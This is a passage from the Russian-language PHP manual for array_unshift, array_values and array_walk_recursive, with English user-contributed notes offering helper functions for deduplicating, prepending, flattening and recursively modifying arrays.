Keep the desired unique column values in a static array inside the callback function for array_filter.

Example:
<?php
/* example object */
class myObj {
  public $id;
  public $value;
  function __construct( $id, $value ) {
    $this->id = $id;
    $this->value = $value;
  }
}

/* callback function */
function uniquecol( $obj ) {
  static $idlist = array();

  if ( in_array( $obj->id, $idlist ) )
    return false;

  $idlist[] = $obj->id;
  return true;
}

/* a couple of arrays with second array having an element with same id as the first */
$list  = array( new myObj( 1, 1  ), new myObj( 2, 100 ) );
$list2 = array( new myObj( 1, 10 ), new myObj( 3, 100 ) );
$list3 = array_merge( $list, $list2 );

$unique = array_filter( $list3, 'uniquecol' );
print_r( $list3 );
print_r( $unique );

?>

In addition, use array_merge( $unique ) to reindex.
geuis dot teses at gmail dot com 09-Oct-2006 10:27
Here's the shortest line of code I could find/create to remove all duplicate entries from an array and then reindex the keys.

<?php

// Fruits, vegetables, and other food:
$var = array('apple','banana','carrot','cat','dog','egg','eggplant','fish');

$var = array_values(array_unique($var));
?>
keneks at gmail dot com 30-Sep-2006 07:01
Taking the advantage of array_unique, here is a simple function to check if an array has duplicate values.

It simply compares the number of elements between the original array and the array_uniqued array.

<?php

function array_has_duplicates(array $array)
{
    $uniq = array_unique($array);
    return count($uniq) != count($array);
}

?>
agarcia at rsn dot com dot co 31-Mar-2006 12:41
This is a script for multi_dimensional arrays

<?php
function remove_dup($matriz) {
    $aux_ini=array();
    $entrega=array();
    for($n=0;$n<count($matriz);$n++)
    {
        $aux_ini[]=serialize($matriz[$n]);
    }
    $mat=array_unique($aux_ini);
    for($n=0;$n<count($matriz);$n++)
    {

            $entrega[]=unserialize($mat[$n]);

    }
    return $entrega;
}
?>
memandeemail at gmail dot com 03-Jan-2006 10:47
Problem:
I have loaded an array with the results of a database
query.  The Fields are 'FirstName' and 'LastName'.

I would like to find a way to contactenate the two
fields, and then return only unique values for the
array.  For example, if the database query returns
three instances of a record with the FirstName John
and the LastName Smith in two distinct fields, I would
like to build a new array that would contain all the
original fields, but with John Smith in it only once.
Thanks for: Colin Campbell

Solution:

<?php
/**
 * The same thing than implode function, but return the keys so
 *
 * <code>
 * $_GET = array('id' => '4587','with' => 'key');
 * ...
 * echo shared::implode_with_key('&',$_GET,'='); // Resultado: id=4587&with=key
 * ...
 * </code>
 *
 * @param string $glue Oque colocar entre as chave => valor
 * @param array $pieces Valores
 * @param string $hifen Separar chave da array do valor
 * @return string
 * @author memandeemail at gmail dot com
 */
function implode_with_key($glue = null, $pieces, $hifen = ',') {
  $return = null;
  foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
  return substr($return,1);
}

/**
 * Return unique values from a tree of values
 *
 * @param array $array_tree
 * @return array
 * @author memandeemail at gmail dot com
 */
function array_unique_tree($array_tree) {
  $will_return = array(); $vtemp = array();
  foreach ($array_tree as $tkey => $tvalue) $vtemp[$tkey] = implode_with_key('&',$tvalue,'=');
  foreach (array_keys(array_unique($vtemp)) as $tvalue) $will_return[$tvalue] = $array_tree[$tvalue];
  return $will_return;
}

$problem = array_fill(0,3,
array('FirstName' => 'John', 'LastName' => 'Smith')
);

$problem[] = array('FirstName' => 'Davi', 'LastName' => 'S. Mesquita');
$problem[] = array('FirstName' => 'John', 'LastName' => 'Tom');

print_r($problem);

print_r(array_unique_tree($problem));
?>
csaba at alum dot mit dot edu 09-Jun-2004 07:17
The following is an efficient, adaptable implementation of array_unique which always retains the first key having a given value:

<?php
function array_unique2(&$aray) {
    $aHash = array();
    foreach ($aray as $key => &$val) if (@$aHash[$val]++) unset ($aray[$key]);
}
?>

It is also adaptable to multi dimensional arrays.  For example, if your array is a sequence of (multidimensional) points, then in place of @$aHash[$val]++ you could use @$aHash[implode("X",$val)]++
If you want to not have holes in your array, you can do an array_merge($aray) at the end.

Csaba Gabor


Добавляет один или несколько элементов в начало массива

  • « array_unique
  • array_values »
  • PHP Manual
  • Функции для работы с массивами
  • Добавляет один или несколько элементов в начало массива

array_unshift

(PHP 4, PHP 5, PHP 7, PHP 8)

array_unshift — Добавляет один или несколько элементов в начало массива

Описание

array_unshift(array &$array, mixed ...$values): int

array_unshift() добавляет переданные в качестве аргументов элементы в начало массива array. Обратите внимание, что список элементов добавляется целиком, то есть порядок элементов сохраняется. Все числовые ключи будут изменены таким образом, что нумерация массива будет начинаться с нуля, в то время как строковые ключи останутся прежними.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

values

Значения для добавления.

Возвращаемые значения

Возвращает новое количество элементов в array.

Список изменений

Версия | Описание
7.3.0 | Теперь эта функция может быть вызвана с одним параметром. Ранее требовалось минимум два параметра.

Примеры

Пример #1 Пример использования array_unshift()

<?php
$queue = [
"orange",
"banana"
];

array_unshift($queue, "apple", "raspberry");
var_dump($queue);
?>

Результат выполнения приведённого примера:

array(4) {
  [0] =>
  string(5) "apple"
  [1] =>
  string(9) "raspberry"
  [2] =>
  string(6) "orange"
  [3] =>
  string(6) "banana"
}

Пример #2 Пример использования с ассоциативными массивами

Если один ассоциативный массив добавляется к другому ассоциативному массиву, то добавляемый массив продолжает числовой индекс первого массиве.

<?php
$foods = [
'apples' => [
'McIntosh' => 'red',
'Granny Smith' => 'green',
],
'oranges' => [
'Navel' => 'orange',
'Valencia' => 'orange',
],
];
$vegetables = [
'lettuce' => [
'Iceberg' => 'green',
'Butterhead' => 'green',
],
'carrots' => [
'Deep Purple Hybrid' => 'purple',
'Imperator' => 'orange',
],
'cucumber' => [
'Kirby' => 'green',
'Gherkin' => 'green',
],
];

array_unshift($foods, $vegetables);
var_dump($foods);

Результат выполнения приведённого примера:

array(3) {
  [0] =>
  array(3) {
    'lettuce' =>
    array(2) {
      'Iceberg' =>
      string(5) "green"
      'Butterhead' =>
      string(5) "green"
    }
    'carrots' =>
    array(2) {
      'Deep Purple Hybrid' =>
      string(6) "purple"
      'Imperator' =>
      string(6) "orange"
    }
    'cucumber' =>
    array(2) {
      'Kirby' =>
      string(5) "green"
      'Gherkin' =>
      string(5) "green"
    }
  }
  'apples' =>
  array(2) {
    'McIntosh' =>
    string(3) "red"
    'Granny Smith' =>
    string(5) "green"
  }
  'oranges' =>
  array(2) {
    'Navel' =>
    string(6) "orange"
    'Valencia' =>
    string(6) "orange"
  }
}

Смотрите также

  • array_shift() - Извлекает первый элемент массива
  • array_push() - Добавляет один или несколько элементов в конец массива
  • array_pop() - Извлекает последний элемент массива

User Contributed Notes

eliasritter168667 at gmail dot com 06-Nov-2023 08:52
This function helps if you want to prepend a key and value pair to the beginning of an array:

function array_kunshift(array $array, string|int $key, mixed $value): array {
        return array_merge([$key => $value], $array);
    }
Richard Akindele 16-Mar-2016 06:31
Another way to tack something to the beginning of an array is with array_merge().

$plans = array('AARP'=>'Senior', 'AAA'=>'Automobile Club');

$plans = array_merge(array("BAR"=>"Best Available Rate"),  $plans);
daniel at smallboxcms dot com 17-Apr-2015 08:18
Anonymous' associative version wasn't working for me, but it did with this small tweak:

function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return $arr;
}
Anonymous 19-Nov-2011 09:44
Sahn's example almost works but has a small error. Try it like this if you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    return = array_reverse($arr, true);
}
?>
sergei at gmx dot net 03-Oct-2007 08:49
You can preserve keys and unshift an array with numerical indexes in a really simple way if you'll do the following:

<?php
$someArray=array(224=>'someword1', 228=>'someword2', 102=>'someword3', 544=>'someword3',95=>'someword4');

$someArray=array(100=>'Test Element 1 ',255=>'Test Element 2')+$someArray;
?>

now the array looks as follows:

array(
100=>'Test Element 1 ',
255=>'Test Element 2'
224=>'someword1',
228=>'someword2',
102=>'someword3',
544=>'someword3',
95=>'someword4'
);
amschroeder at gmail dot com 26-Mar-2007 09:13
This becomes a nice little problem if you index your arrays out of order (while manually sorting).  For example:

<?php
$recordMonths[3] = '8/%/2006';
$recordMonths[4] = '7/%/2004';
$recordMonths[0] = '3/%/2007';
$recordMonths[1] = '2/%/2007';
$recordMonths[5] = '12/%/2000';
$recordMonths[6] = '11/%/2000';
$recordMonths[7] = '10/%/2000';
$recordMonths[2] = '1/%/2007';

for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
array_unshift($recordMonths,'%');
for($i = 0; $i < count($recordMonths); $i++)
{
    $singleMonth = $recordMonths[$i];
    echo "singleMonth: $singleMonth <br />";
}
?>

Produces:

singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 1/%/2007
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: %
singleMonth: 8/%/2006
singleMonth: 7/%/2004
singleMonth: 3/%/2007
singleMonth: 2/%/2007
singleMonth: 12/%/2000
singleMonth: 11/%/2000
singleMonth: 10/%/2000
singleMonth: 1/%/2007

It reindexes them based on the order they were created.  It seems like if an array has all numeric indexes, then it should reindex them based on the order of their index.  Just my opinion...
John Brooking 02-Jun-2006 06:54
I had a need tonight to convert a numeric array from 1-based to 0-based, and found that the following worked just fine due to the "side effect" of renumbering:

<?php
   array_unshift( $myArray, array_shift( $myArray ));
?>
php at electricsurfer dot com 26-Feb-2004 06:20
even simpler unshifting of a reference !
<?php
/**
 * @return int
 * @param $array array
 * @param $value mixed
 * @desc Prepend a reference to an element to the beginning of an array. Renumbers numeric keys, so $value is always inserted to $array[0]
 */
function array_unshift_ref(&$array, &$value)
{
   $return = array_unshift($array,'');
   $array[0] =& $value;
   return $return;
}
?>
lagroue 09-Nov-2003 04:46
Last version of PHP deprecated unshifting of a reference.
You can use this function instead :

<?php
function array_unshift1 (& $ioArray, $iValueWrappedInAnArray) {
    $lNewArray = false;
    foreach (array_keys ($ioArray) as $lKey)
        $lNewArray[$lKey+1] = & $ioArray[$lKey];
    $ioArray = array (& $iValueWrappedInAnArray[0]);
    if ($lNewArray)
        foreach (array_keys ($lNewArray) as $lKey)
             $ioArray[] = & $lNewArray[$lKey];
    return count($ioArray);
}

// before last PHP (now generates a deprecation warning)
array_unshift ($a, &$v);
// since last PHP (caution, there is a wrapping array !!)
array_unshift1 ($a, array (&$v));
?>
chris dot NoThxSpam dot given at hp dot com 23-Jul-2003 12:17
If you need to change the name of a key without changing its position in the array this function may be useful.

<?php
function array_key_change($Old, $New, $In, $NewVal=NULL) {
        $Temp = array();
        while(isset($Temp[$Old]) == false) {
                list($k, $v) = each($In);
                $Temp[$k] = $v;
                unset($In[$k]);
        }
        if($NewVal == NULL) {
                $NewVal = $Temp[$Old];
        }
        unset($Temp[$Old]);
        $Temp = array_reverse($Temp);
        $In = array_merge(array($New=>$NewVal), $In);
        while(list($k,$v) = each($Temp)) {
                $In = array_merge(array($k=>$v), $In);
        }
        return($In);
}
?>
rsmith_NOSPAM_ at _NOSPAM_unitec dot ac dot nz 30-Jul-2002 07:00
array_merge() will also reindex (see array_merge() manual entry), but the '+' operator won't, so...

<?php
$arrayone=array("newkey"=>"newvalue") + $arrayone;
?>

does the job.
robert dot wills at fuzzbrain dot uklinux dot net 07-Feb-2002 06:02
Actually this problem with the keys getting reindexed only happens when the keys are numerical:

<?php

$a = array("f"=>"five", "s" =>"six", "t" =>
        "twenty");

print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}

array_unshift($a, "zero");
print_r($a);
echo "\n";
foreach($a as $key=>$val)
{
    echo "k: $key v: $val \n";
}
?>

Array
(
    [f] => five
    [s] => six
    [t] => twenty
)

k: f v: five
k: s v: six
k: t v: twenty
Array
(
    [0] => zero
    [f] => five
    [s] => six
    [t] => twenty
)

k: 0 v: zero
k: f v: five
k: s v: six
k: t v: twenty
sahn at hmc dot edu 27-Jul-2001 12:21
If you need to prepend something to the array without the keys being reindexed and/or need to prepend a key value pair, you can use this short function:

<?php
function array_unshift_assoc(&$arr, $key, $val)
{
    $arr = array_reverse($arr, true);
    $arr[$key] = $val;
    $arr = array_reverse($arr, true);
    return count($arr);
}
?>


Возвращает все значения массива

  • « array_unshift
  • array_walk_recursive »
  • PHP Manual
  • Функции для работы с массивами
  • Возвращает все значения массива

array_values

(PHP 4, PHP 5, PHP 7, PHP 8)

array_values — Возвращает все значения массива

Описание

array_values(array $array): array

Функция array_values() возвращает индексный массив со всеми значениями массива array.

Список параметров

array

Массив.

Возвращаемые значения

Возвращает индексный массив значений.

Примеры

Пример #1 Пример использования функции array_values()

<?php

$array = array("size" => "XL", "color" => "gold");
print_r(array_values($array));
?>

Результат выполнения приведённого примера:

Array
(
    [0] => XL
    [1] => gold
)

Смотрите также

  • array_keys() - Возвращает все или некоторое подмножество ключей массива
  • array_combine() - Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений

User Contributed Notes

biziclop at vipmail dot hu 01-May-2014 11:47
Remember, array_values() will ignore your beautiful numeric indexes, it will renumber them according tho the 'foreach' ordering:

<?php
$a = array(
 3 => 11,
 1 => 22,
 2 => 33,
);
$a[0] = 44;

print_r( array_values( $a ));
==>
Array(
  [0] => 11
  [1] => 22
  [2] => 33
  [3] => 44
)
?>
abimaelrc 10-May-2011 05:39
This is another way to get value from a multidimensional array, but for versions of php >= 5.3.x
<?php
/**
 * Get all values from specific key in a multidimensional array
 *
 * @param $key string
 * @param $arr array
 * @return null|string|array
 */
function array_value_recursive($key, array $arr){
    $val = array();
    array_walk_recursive($arr, function($v, $k) use($key, &$val){
        if($k == $key) array_push($val, $v);
    });
    return count($val) > 1 ? $val : array_pop($val);
}

$arr = array(
    'foo' => 'foo',
    'bar' => array(
        'baz' => 'baz',
        'candy' => 'candy',
        'vegetable' => array(
            'carrot' => 'carrot',
        )
    ),
    'vegetable' => array(
        'carrot' => 'carrot2',
    ),
    'fruits' => 'fruits',
);

var_dump(array_value_recursive('carrot', $arr)); // array(2) { [0]=> string(6) "carrot" [1]=> string(7) "carrot2" }
var_dump(array_value_recursive('apple', $arr)); // null
var_dump(array_value_recursive('baz', $arr)); // string(3) "baz"
var_dump(array_value_recursive('candy', $arr)); // string(5) "candy"
var_dump(array_value_recursive('pear', $arr)); // null
?>
chrysb at gmail dot com 24-Sep-2008 12:34
If you are looking for a way to count the total number of times a specific value appears in array, use this function:

<?php
function array_value_count ($match, $array)
{
    $count = 0;

    foreach ($array as $key => $value)
    {
        if ($value == $match)
        {
            $count++;
        }
    }

    return $count;
}
?>

This should really be a native function of PHP.
bluej100 at gmail dot com 07-Sep-2007 10:10
Most of the array_flatten functions don't allow preservation of keys. Mine allows preserve, don't preserve, and preserve only strings (default).

<?
// recursively reduces deep arrays to single-dimensional arrays
// $preserve_keys: (0=>never, 1=>strings, 2=>always)
function array_flatten($array, $preserve_keys = 1, &$newArray = Array()) {
  foreach ($array as $key => $child) {
    if (is_array($child)) {
      $newArray =& array_flatten($child, $preserve_keys, $newArray);
    } elseif ($preserve_keys + is_string($key) > 1) {
      $newArray[$key] = $child;
    } else {
      $newArray[] = $child;
    }
  }
  return $newArray;
}

// Tests

$array = Array(
  'A' => Array(
    1 => 'foo',
    2 => Array(
      'a' => 'bar'
    )
  ),
  'B' => 'baz'
);

echo 'var_dump($array);'."\n";
var_dump($array);
echo 'var_dump(array_flatten($array, 0));'."\n";
var_dump(array_flatten($array, 0));
echo 'var_dump(array_flatten($array, 1));'."\n";
var_dump(array_flatten($array, 1));
echo 'var_dump(array_flatten($array, 2));'."\n";
var_dump(array_flatten($array, 2));
?>
27-Apr-2004 06:47
<?php
/**
   flatten an arbitrarily deep multidimensional array
   into a list of its scalar values
   (may be inefficient for large structures)
   (will infinite recurse on self-referential structures)
   (could be extended to handle objects)
*/
function array_values_recursive($ary)
{
   $lst = array();
   foreach( array_keys($ary) as $k ){
      $v = $ary[$k];
      if (is_scalar($v)) {
         $lst[] = $v;
      } elseif (is_array($v)) {
         $lst = array_merge( $lst,
            array_values_recursive($v)
         );
      }
   }
   return $lst;
}
?>

code till dawn!  -mark meves!
nopy at users dot sourceforge dot net 24-Oct-2003 03:36
Just a warning that re-indexing an array by array_values() may cause you to reach the memory limit unexpectly.

For example, if your PHP momory_limits is 8MB,
 and says there's a BIG array $bigArray which allocate 5MB of memory.

Doing this will cause PHP exceeds the momory limits:

<?php
  $bigArray = array_values( $bigArray );
?>

It's because array_values() does not re-index $bigArray directly,
it just re-index it into another array, and assign to itself later.


Рекурсивно применяет пользовательскую функцию к каждому элементу массива

  • « array_values
  • array_walk »
  • PHP Manual
  • Функции для работы с массивами
  • Рекурсивно применяет пользовательскую функцию к каждому элементу массива

array_walk_recursive

(PHP 5, PHP 7, PHP 8)

array_walk_recursive — Рекурсивно применяет пользовательскую функцию к каждому элементу массива

Описание

array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool

Применяет пользовательскую функцию callback к каждому элементу массива array. Функция обрабатывает каждый элемент многомерного массива.

Список параметров

array

Входной массив.

callback

Обычно, callback принимает два параметра. Первым параметром является значение элемента массива array, а вторым - его ключ.

Замечание:

Если требуется, чтобы функция callback изменила значения в массиве, определите первый параметр callback как ссылку. Тогда все изменения будут применены к элементам массива.

arg

Если указан необязательный параметр arg, то он будет передан третьим параметром функции callback.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Примеры

Пример #1 Пример использования array_walk_recursive()

<?php
$sweet = array('a' => 'apple', 'b' => 'banana');
$fruits = array('sweet' => $sweet, 'sour' => 'lemon');

function test_print($item, $key)
{
echo "$key содержит $item\n";
}

array_walk_recursive($fruits, 'test_print');
?>

Результат выполнения приведённого примера:

a содержит apple
b содержит banana
sour содержит lemon

Обратите внимание, что ключ 'sweet' никогда не отображается. Любой ключ, содержащий значение типа array, не будет передаваться в функцию.

Смотрите также

  • array_walk() - Применяет заданную пользователем функцию к каждому элементу массива

User Contributed Notes

lincoln dot du dot j at gmail dot com 21-Jul-2020 02:24
Normal function solution

//1,2,2,3,6,7,3,1,4,2
$arr=[
    [1,2],
    [2,3],
    6,7,[3,1,[4,2]]
];

function a($array){
    static $res=[];
    foreach($array as $val){
        if(is_array($val)){
            a($val);
        }else{
            $res[]=$val;
        }
    }
    return $res;
}

print_r(a($arr));
mike at mpsharp dot com 13-Jul-2019 04:32
Here's a more general solution to modifying the array to which the leaf belongs.   You can unset the current key, or add siblings, etc.

<?php
/**
 * Modified version of array_walk_recursive that passes in the array to the callback
 * The callback can modify the array or value by specifying a reference for the parameter.
 *
 * @param array The input array.
 * @param callable $callback($value, $key, $array)
 */
function array_walk_recursive_array(array &$array, callable $callback) {
    foreach ($array as $k => &$v) {
        if (is_array($v)) {
            array_walk_recursive_array($v, $callback);
        } else {
            $callback($v, $k, $array);
        }
    }
}
?>
Dario 01-Oct-2018 06:42
I was looking for how to change values of array since you can't pass array by reference anymore in new PHP versions, here is simple solution

<?php
array_walk_recursive(
    $myArray,
    function (&$value) {
        if (/*some condition*/) {
            $value = 'New value';
        }
    }
);
?>

After that $myArray will be altered with new value.
r 08-Apr-2018 02:54
How to modify external variable from inside recursive function using userdata argument.

<?php
$arr = [
   'one' => ['one_one' => 11, 'one_two' => 12],
   'two' => 2
];

$counter = 0;

//Does not persist
array_walk_recursive( $arr, function($value, $key, $counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);
echo "counter : $counter";

// result
// 11 : 1
// 12 : 1
// 2 : 1
// counter: 0

//Persists only in same array node
array_walk_recursive( $arr, function($value, $key, &$counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);

// result
// 11 : 1
// 12 : 2
// 2 : 1
// counter : 0

//Fully persistent. Using 'use' keyword
array_walk_recursive( $arr, function($value, $key) use (&$counter) {
   $counter++;
   echo "$value : $counter";
}, $counter);
echo "counter : $counter";

// result
// 11 : 1
// 12 : 2
// 2 : 3
// counter : 3
seductiveapps.com 14-Mar-2018 05:45
usage :
$nd = $newsApp2->dataSources();
//walkArray ($nd, 'walkArray_printKey', 'walkArray_printValue');
// prints the entire array

$x = chaseToPath ($nd, 'RSS_list/English News',false);
walkArray ($x, 'walkArray_printKey', 'walkArray_printValue');
// prints everything under $nd['RSS_list']['English News']

function &chaseToPath (&$wm, $path, $create=false) {
    //var_dump ($create); die();
    //echo '$wm=<pre>'; var_dump ($wm);echo '</pre>'; //die();
    //$path = str_replace ('/', '/d/', $path);
    //$path .= '/d';
    $nodes = explode ('/', $path);
    $chase = &chase ($wm, $nodes, $create);

    //echo '$wm=<pre>'; var_dump ($wm);echo '</pre>'; die();
    /*
    $dbg = array (
        '$path' => $path,
        '$nodes' => $nodes,
        '$wm' => $wm,
        '$chase' => $chase
    );
    echo '$dbg=<pre style="background:red;color:yellow;">'; var_dump ($dbg); echo '</pre>';
    */
    //die();

    $false = false;
    if (good($chase)) {
        $arr = &result($chase);
        return $arr;
    } else return $false;
}

function &chase (&$arr, $indexes, $create=false) {
        if (false) {
        echo 'sitewide/functions.php --- $arr=<pre>'; var_dump ($arr); echo '</pre>';
        echo 'sitewide/functions.php --- $indexes=<pre>'; var_dump ($indexes); echo '</pre>';
        echo 'sitewide/functions.php --- $create=<pre>'; var_dump ($create); echo '</pre>';
        }
    $r = &$arr;
    foreach ($indexes as $idx) {
            //echo 'sitewide/functions.php --- $idx=<pre>'; var_dump ($idx); var_dump (array_key_exists($idx,$r)); var_dump ($r); echo '</pre>';
            if (
                    is_array($r)
                    && (
                            $create===true
                            || array_key_exists($idx,$r)
                    )
            ) {
                    if ($create===true && !array_key_exists($idx,$r)) $r[$idx]=array();
                    //echo 'sitewide/functions.php --- $idx=<pre>'; var_dump ($idx); echo '</pre>';
                    $r = &$r[$idx];
            } else {
                    $err = array(
                    'msg' => 'Could not walk the full tree',
                    'vars' => array(
                            '$idx--error'=>$idx,
                            '$indexes'=>$indexes,
                            '$arr'=>$arr
                            )
                    );
                    badResult (E_USER_NOTICE, $err);
                    $ret = false; // BUG #2 squashed
                    return $ret;
            }
    }

        //echo 'sitewide/functions.php --- $r=<pre>'; var_dump ($r); echo '</pre>';
    return goodResult($r);
}
CommentUser 07-Jul-2017 01:55
The following code, which returns back a flattened array of sorts into the $results array, in newer versions of PHP raises the error "PHP Fatal error:  Call-time pass-by-reference has been removed":

<?php

$results = array();

function example_function ($item, $key, &$arr_values)
{
    $arr_values[$key] = $item;
}

array_walk_recursive($data, 'example_function', &$results);

print_r($results);

?>

This can be fixed using an anonymous function:

<?php

$results = array();

array_walk_recursive($data, function ($item, $key) use (&$results){$results[$key] = $item;});

print_r($results);

?>
lincoln dot du dot j at gmail dot com 03-Jul-2017 06:40
multidimensional array to single array

$array=[1=>[2,5=>[4,2],[7,8=>[3,6]],5],4];
$arr=[];
array_walk_recursive($array, function($k){global $arr; $arr[]=$k;});
print_r($arr);

Output

Array ( [0] => 2 [1] => 4 [2] => 2 [3] => 7 [4] => 3 [5] => 6 [6] => 5 [7] => 4 )
Anonymous 03-Jul-2017 06:39
multidimensional array to single array

$array=[1=>[2,5=>[4,2],[7,8=>[3,6]],5],4];
$arr=[];
array_walk_recursive($array, function($k){global $arr; $arr[]=$k;});
print_r($arr);

Output

Array ( [0] => 2 [1] => 4 [2] => 2 [3] => 7 [4] => 3 [5] => 6 [6] => 5 [7] => 4 )
php at genjo dot fr 13-Mar-2015 05:33
I use RecursiveIteratorIterator with parameter CATCH_GET_CHILD to iterate on leafs AND nodes instead of array_walk_recursive function :

<?php
// Iteration on leafs AND nodes
foreach (new RecursiveIteratorIterator(new RecursiveArrayIterator($candidate), RecursiveIteratorIterator::CATCH_GET_CHILD) as $key => $value) {
    echo 'My node ' . $key . ' with value ' . $value . PHP_EOL;
}
?>
robin leffmann 28-Jan-2015 03:48
A simple solution for walking a nested array to obtain the last set value of a specified key:

<?php

$key = 'blah';
$val = null;
array_walk_recursive( $your_array,
                      function($v, $k, $u) { if($k === $u[0]) $u[1] = $v; },
                      [$key ,&$val] );

echo "$key = $val";

?>
gk at anuary dot com 07-Mar-2014 09:29
array_walk_recursive itself cannot unset values. Even though you can pass array by reference, unsetting the value in the callback will only unset the variable in that scope.

<?php
/**
 * http://uk1.php.net/array_walk_recursive implementation that is used to remove nodes from the array.
 *
 * @param array The input array.
 * @param callable $callback Function must return boolean value indicating whether to remove the node.
 * @return array
 */
function walk_recursive_remove (array $array, callable $callback) {
    foreach ($array as $k => $v) {
        if (is_array($v)) {
            $array[$k] = walk_recursive_remove($v, $callback);
        } else {
            if ($callback($v, $k)) {
                unset($array[$k]);
            }
        }
    }

    return $array;
}
?>

An up to date implementation of the above function can be looked up from https://github.com/gajus/marray/blob/master/src/marray.php#L116.
Anonymous 21-Nov-2013 10:42
since PHP 5.3.0, you will get a warning saying that "call-time pass-by-reference" is deprecated when you use & in foo(&$a);. And as of PHP 5.4.0, call-time pass-by-reference was removed, so using it will raise a fatal error.
Rodrigo Guariento 23-Aug-2013 01:27
Simple array_walk_recursive:

// var example
$myArray = Array(
  Array('keyA1' => '    textA1 ', 'keyA2' => '  textA2     '),
  Array('keyB1' => '    textB1 ', 'sub' =>
        Array('keyB1_sub1' => '      textB1_sub1   '),
          Array('keyB1_sub2' => '      textB1_sub2   ')
      ),
  Array('keyC1' => '    textC1 ', 'keyC2' => '  textC2     '),
  Array('keyD1' => '    textD1 ', 'keyD2' => '  textD2     '),
  Array('keyE1' => '    textE1 ', 'keyE2' => '  textE2     ')
);

// function for "trim" (or your function, use same structure)
function trimming($data) {
  if (gettype($data) == 'array')
    return array_map("trimming", $data);
  else
    return trim($data);
}

// get array
$myArray = array_map("trimming", $myArray);

// show array trimmed
var_dump($myArray);

/*
RESULT

array (size=5)
  0 =>
    array (size=2)
      'keyA1' => string 'textA1' (length=6)
      'keyA2' => string 'textA2' (length=6)
  1 =>
    array (size=3)
      'keyB1' => string 'textB1' (length=6)
      'sub' =>
        array (size=1)
          'keyB1_sub1' => string 'textB1_sub1' (length=11)
      0 =>
        array (size=1)
          'keyB1_sub2' => string 'textB1_sub2' (length=11)
  2 =>
    array (size=2)
      'keyC1' => string 'textC1' (length=6)
      'keyC2' => string 'textC2' (length=6)
  3 =>
    array (size=2)
      'keyD1' => string 'textD1' (length=6)
      'keyD2' => string 'textD2' (length=6)
  4 =>
    array (size=2)
      'keyE1' => string 'textE1' (length=6)
      'keyE2' => string 'textE2' (length=6)

*/
none at of dot your dot biz 03-Jun-2013 10:50
Since this is only mentioned in the footnote of the output of one of the examples, I feel it should be spelled out:

* THIS FUNCTION ONLY VISITS LEAF NODES *

That is to say that if you have a tree of arrays with subarrays of subarrays, only the plain values at the leaves of the tree will be visited by the callback function.  The callback function isn't ever called for a nodes in the tree that subnodes (i.e., a subarray).  This has the effect as to make this function unusable for most practical situations.
chris at willowsconsulting dot ie 23-Oct-2012 10:11
To convert all values of an array in UTF8, do this:

<?php

function convert_before_json(&$item, &$key)
{
   $item=utf8_encode($item);
}

array_walk_recursive($your_array,"convert_before_json");

?>
cyranix at cyranix dot com 28-Oct-2011 07:45
I needed to add or modify values in an array with unknown structure. I was hoping to use array_walk_recursive for the task, but because I was also adding new nodes I came up with an alternate solution.

<?php

    /**
     * Sets key/value pairs at any depth on an array.
     * @param $data an array of key/value pairs to be added/modified
     * @param $array the array to operate on
     */
    function setNodes($data, &$array)
    {
        $separator = '.'; // set this to any string that won't occur in your keys
        foreach ($data as $name => $value) {
            if (strpos($name, $separator) === false) {
                // If the array doesn't contain a special separator character, just set the key/value pair.
                // If $value is an array, you will of course set nested key/value pairs just fine.
                $array[$name] = $value;
            } else {
                // In this case we're trying to target a specific nested node without overwriting any other siblings/ancestors.
                // The node or its ancestors may not exist yet.
                $keys = explode($separator, $name);
                // Set the root of the tree.
                $opt_tree =& $array;
                // Start traversing the tree using the specified keys.
                while ($key = array_shift($keys)) {
                    // If there are more keys after the current one...
                    if ($keys) {
                        if (!isset($opt_tree[$key]) || !is_array($opt_tree[$key])) {
                            // Create this node if it doesn't already exist.
                            $opt_tree[$key] = array();
                        }
                        // Redefine the "root" of the tree to this node (assign by reference) then process the next key.
                        $opt_tree =& $opt_tree[$key];
                    } else {
                        // This is the last key to check, so assign the value.
                        $opt_tree[$key] = $value;
                    }
                }
            }
        }
    }

?>

Sample usage:

<?php

$x = array();
setNodes(array('foo' => 'bar', 'baz' => array('quux' => 42, 'hup' => 101)), $x);
print_r($x); // $x has the same structure as the first argument
setNodes(array('jif.snee' => 'hello world', 'baz.quux.wek' => 5), $x);
print_r($x); // added $x['jif']['snee'] and modified $x['baz']['quux'] to be array('wek' => 5)

?>
ghoffman at salientdigital dot com 13-Oct-2011 10:29
If you are wanting to change the values of an existing multi-dimensional array, as it says above in the note, you need to specify the first argument as a reference. All that means is, be sure to precede the $item variable with an ampersand (&) as in the good_example below.

Unfortunately the PHP example given doesn't do this. It actually took me a while to figure out why my function wasn't changing the original array, even though I was passing by reference.

Here's the tip: Don't return any value from the function! Just change the value of $item that you passed in by reference. This is rather counter-intuitive since the vast majority of functions return a value.

<?php
// array_walk_recursive fails to change your array unless you pass by reference.
// Don't return values from your filter function, even though it's quite logical at a glance!
function bad_example($item,$key){
   if($key=='test'){
       return 'PHP Rocks';  // Don't do it
   }else{
      return $item;  // Don't do this either
   }
}

// array_walk_recursive pass-by-reference example
function good_example(&$item,$key){
   if($key=='test'){
        $item='PHP Rocks'; // Do This!
   }
}

$arr = array('a'=>'1','b'=>'2','test'=>'Replace This');

array_walk_recursive($arr,'bad_example');
var_dump($arr);
/**
 * no errors, but prints...
 * array('a'=>'1','b'=>'2','test'=>'Replace This');
 */

array_walk_recursive($arr,'good_example');
var_dump($arr);
/**
 * prints...
